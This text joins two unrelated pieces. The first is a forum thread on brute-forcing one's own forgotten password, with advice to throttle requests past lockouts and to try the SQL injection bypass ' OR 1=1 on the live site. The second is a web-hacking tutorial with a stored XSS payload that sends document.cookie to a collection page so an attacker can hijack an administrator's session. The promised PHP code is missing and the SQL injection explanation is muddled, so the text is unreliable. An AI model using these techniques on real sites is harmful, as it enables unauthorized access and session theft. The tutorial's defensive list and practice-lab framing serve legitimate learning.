I have a somewhat hack-ish question and I'm intrigued as to how I would do the following (if even possible):

Basically, to give a bit of context, I had an account on a site a few years ago and had a username and password for the portal to log in and see all my information/transcript/etc. I haven't connected since I stopped using it a couple years ago by I wanted to view the information that I submitted. Problem is, I can no longer remember the password (to a certain degree). And if I go the 'forgot password' route, it's linked to a really old hotmail address which was deactivated a while back.

I'm aware that this will involve some sort of password crack and I don't want to talk about ways to screw people and gain access to their accounts but it's mine and I'm curious if this is possible.

Thing is, I have the username and I have the majority of the password, all except the final 2 numbers. I can't remember them. I know I added 2 digits at the end because I was forced to (between 10 and 99).

So say my username was 'johnsmith' and my password was 'eatdog##', is there a way to create a form and loop it over and over until the password is guessed correctly? I'm aware they might have some sort of protection against the amount of tries per 'whatever amount of time'.

Thanks.

Considering you only need to iterate over < 100 different possibilities, this should be crackable.

View the HTML source of the page that contains the login form and see which page the form submits to. Lets assume it is action.php. You will see something like this in the HTML source:

<form action='action.php' method='post'>

Use cURL to make a POST request to action.php with your username and password as POST parameters (including anything else the form is posting). Do this in a loop with the password changing at each iteration.

Your code should look something like this (in PHP)

The above code is a PHP script. It WILL NOT run as is. I've only provided the meat of the script. You might have to do some basic initialization - hopefully you're somewhat familiar with PHP.

You can run it from your localhost (install WAMP). I'd estimate it shouldn't take more than 5 min to run through all the passwords.

This would only work if the login process isn't specifically designed to stop brute force attacks. If it locks you out for x min after y unsuccessful logins, you'd have to sleep the PHP script after every y-1 attempts for sometime so as not to trigger the lockout.

If it starts asking for captcha, the above script won't work.

If they didn't add mysql_real_escape_string then you can force your way in by entering your username and for your password enter a blank space followed by

' OR 1=1

The double quotes will set the password slot equal to nothing. The or will force the mysql query to check the second statement should password not return the proper value, it won't.

And thus 1 always equals 1 and you will be allowed to log-in.

You'd think most websites would use the simple function so it might not work but it's worth one login attempt.

If you were the owner of the site and you wanted to do something about this, a really rough way to defend against this would be something like (using PHP):

And set a cron job to delete all the files in /some/writable/dir/ every five minutes or so.

Like I said, it's properly rough, but it should give you an idea of how to start adding some armour to your site.

More people have access to the internet than ever before. This has prompted many organizations to develop web-based applications that users can use online to interact with the organization. Poorly written code for web applications can be exploited to gain unauthorized access to sensitive data and web servers.

In this article, we will introduce you to web applications hacking techniques and the counter measures you can put in place to protect against such attacks.

Topics covered in this tutorial

What is a web application? What are Web Threats?

A web application (aka website) is an application based on the client-server model. The server provides the database access and the business logic. It is hosted on a web server. The client application runs on the client web browser. Web applications are usually written in languages such as Java, C#, and VB.Net, PHP, ColdFusion Markup Language, etc. the database engines used in web applications include MySQL, MS SQL Server, PostgreSQL, SQLite, etc.

Most web applications are hosted on public servers accessible via the Internet. This makes them vulnerable to attacks due to easy accessibility. The following are common web application threats.

• SQL Injection – the goal of this threat could be to bypass login algorithms, sabotage the data, etc.
• Denial of Service Attacks– the goal of this threat could be to deny legitimate users access to the resource
• Cross Site Scripting XSS– the goal of this threat could be to inject code that can be executed on the client side browser.
• Cookie/Session Poisoning– the goal of this threat is to modify cookies/session data by an attacker to gain unauthorized access.
• Form Tampering – the goal of this threat is to modify form data such as prices in e-commerce applications so that the attacker can get items at reduced prices.
• Code Injection – the goal of this threat is to inject code such as PHP, Python, etc. that can be executed on the server. The code can install backdoors, reveal sensitive information, etc.
• Defacement– the goal of this threat is to modify the page been displayed on a website and redirecting all page requests to a single page that contains the attacker’s message.

How to protect your Website against hacks?

An organization can adopt the following policy to protect itself against web server attacks.

• SQL Injection– sanitizing and validating user parameters before submitting them to the database for processing can help reduce the chances of been attacked via SQL Injection. Database engines such as MS SQL Server, MySQL, etc. support parameters, and prepared statements. They are much safer than traditional SQL statements
• Denial of Service Attacks – firewalls can be used to drop traffic from suspicious IP address if the attack is a simple DoS. Proper configuration of networks and Intrusion Detection System can also help reduce the chances of a DoS attack been successful.
• Cross Site Scripting – validating and sanitizing headers, parameters passed via the URL, form parameters and hidden values can help reduce XSS attacks.
• Cookie/Session Poisoning– this can be prevented by encrypting the contents of the cookies, timing out the cookies after some time, associating the cookies with the client IP address that was used to create them.
• Form tempering – this can be prevented by validating and verifying the user input before processing it.
• Code Injection - this can be prevented by treating all parameters as data rather than executable code. Sanitization and Validation can be used to implement this.
• Defacement – a good web application development security policy should ensure that it seals the commonly used vulnerabilities to access the web server. This can be a proper configuration of the operating system, web server software, and best security practices when developing web applications.

Hacking Activity: Hack a Website

In this practical scenario, we are going to hijack the user session of the web application located at www.techpanda.org. We will use cross site scripting to read the cookie session id then use it to impersonate a legitimate user session.

The assumption made is that the attacker has access to the web application and he would like to hijack the sessions of other users that use the same application. The goal of this attack could be to gain admin access to the web application assuming the attacker’s access account is a limited one.

Getting started

• Open http://www.techpanda.org/
• For practice purposes, it is strongly recommended to gain access using SQL Injection. Refer to this article for more information on how to do that.
• The login email is This email address is being protected from spambots. You need JavaScript enabled to view it. , the password is Password2010
• If you have logged in successfully, then you will get the following dashboard

• Click on Add New Contact
• Enter the following as the first name

<a href=# onclick='document.location='http://techpanda.org/snatch_sess_id.php?c='+escape(document.cookie);'>Dark</a>

HERE,

The above code uses JavaScript. It adds a hyperlink with an onclick event. When the unsuspecting user clicks the link, the event retrieves the PHP cookie session ID and sends it to the snatch_sess_id.php page together with the session id in the URL

• Enter the remaining details as shown below
• Click on Save Changes

• Your dashboard will now look like the following screen

• Since the cross site script code is stored in the database, it will be loaded everytime the users with access rights login
• Let’s suppose the administrator logins and clicks on the hyperlink that says Dark
• He/she will get the window with the session id showing in the URL

Note: the script could be sending the value to some remote server where the PHPSESSID is stored then the user redirected back to the website as if nothing happened.

Note: the value you get may be different from the one in this tutorial, but the concept is the same
